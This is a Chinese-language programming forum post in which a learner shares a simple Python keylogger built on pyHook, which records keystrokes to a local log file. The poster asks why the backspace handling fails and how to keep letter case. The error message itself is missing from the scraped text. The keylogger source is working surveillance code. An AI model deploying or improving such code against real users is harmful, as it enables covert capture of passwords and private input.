键盘记录器在按backspace键时抛出错误(Python)

2024-05-16 13:43:46 发布

您现在位置:Python中文网/ 问答频道 /正文

当我正在学习Python时,我偶然在youtube上看到了一个有趣的视频,展示了如何构建一个简单的Python键盘记录器。我决定稍微修改一下它,使它能够在用户按下backspace时删除最后一个字符,所以我添加了一个if语句和seek和truncate方法。在

import pyHook, pythoncom, os

file_log = "D:/Python Projects/log.txt"


def OnKeyboardEvent(event):
    global keylog
    keylog = chr(event.Ascii)
    with open(file_log, "a") as fl:
        if event.Ascii == 13:
            fl.write("\n")
        elif event.Ascii == 8:
            fl.seek(-1, os.SEEK_END)
            fl.truncate()
        else:
            fl.write(keylog)
        fl.close()
    return True

hooking = pyHook.HookManager()
hooking.KeyDown = OnKeyboardEvent
hooking.HookKeyboard()
pythoncom.PumpMessages()

但是,当我尝试运行代码并按下backspace键时,我得到以下错误:

^{pr2}$

有人能帮我吗? 另外,现在键盘记录器将每个字符存储为大写字母。有没有一种方法可以修改脚本来识别字符是小写字母还是大写字母,并以这种方式存储它?在


Tags: 方法eventlogifasciiseek字符pyhook